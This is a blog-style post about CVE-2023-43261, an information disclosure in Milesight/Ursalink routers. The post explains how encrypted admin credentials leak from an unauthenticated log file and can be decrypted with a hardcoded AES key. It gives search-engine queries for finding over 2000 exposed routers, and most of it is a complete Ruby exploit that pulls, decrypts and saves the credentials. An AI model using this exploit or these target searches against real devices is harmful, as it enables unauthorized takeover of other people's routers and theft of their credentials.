CVE-2023-43261
Milesight ursalink routers information disclosure to authentication bypass
"An information disclosure in Milesight UR5X, UR32L, UR32, UR35, UR41 before v35.3.0.7 allows attackers to access sensitive router components." -nvd.nist.gov Sensitive information on ursalink milesight routers can be easily viewed without any restriction at the URL path /lang/log/httpd.log, this file contains AES-128-CBC encrypted credentials including the admin username and password.[*] milesight_logfile.png
These credentials can be decrypted due to the hardcoded AES key in a javascript file. Reference: win3zz[*] milesight_dashboard.png
Looking for vulnerable targets
A shodan dork to search milesight routers is http.html:rt_title , I went through this to ensure only the vulnerable results and found this FOFA query: fid="GbJynh0UR3NG6v4f7DclRQ==" As we can se, it's giving more than 2000 vulnerable routers.[*] fofa_milesight.png
Exploit code
I wrote this ruby exploit based on details i read online
require 'http' require 'openssl' puts """ CVE-2023-43261 Milesight routers information disclosure exploit By komodo\n """ def d64(text) return text.unpack("m")[0] end $cont=1 $dirname="Milesight_dump" def dir(name=$dirname) begin Dir.mkdir(name) Dir.chdir(name) rescue Errno::EEXIST $cont+=1 dir("#{$dirname}-#{$cont}") end end def decrypt(password) begin cipher = OpenSSL::Cipher.new('AES-128-CBC') cipher.decrypt cipher.key, cipher.iv = "1"*16, "2"*16 decrypted_data = cipher.update(d64(password))+cipher.final return decrypted_data.unpack('C*').pack('C*').force_encoding('utf-8').to_s rescue return password end end def main(url) url.delete_suffix!("/") unless url[-1..-1] != "/" @ctx = OpenSSL::SSL::SSLContext.new() @ctx.verify_mode = OpenSSL::SSL::VERIFY_NONE r=HTTP.get("#{url}/lang/log/httpd.log", :ssl_context=>@ctx) if r.code == 200 && r.body.to_s.include?("password") dir() File.open("!target.txt", "w"){|f|f.write(url)} credentials = r.body.to_s.scan(/"username":"(.+?)","password":"(.+?)"/) log = File.open("credentials.txt", "w") credentials.each do |username, password| log.write("Username: #{username}, Password: #{decrypt(password)}\n") end log.close() puts File.read("credentials.txt") puts "\nCredentials saved on '#{Dir.pwd.split("/")[-1]}/credentials.txt' file." else puts "Not vulnerable! :(\n" end end begin print "Base URL: " main(gets.chomp) rescue => e abort(e.to_s) endThe speed of exploiting the vulnerability from this code snippet varies depending on how large the file containing the encrypted credentials is.[*] exploit_execution.png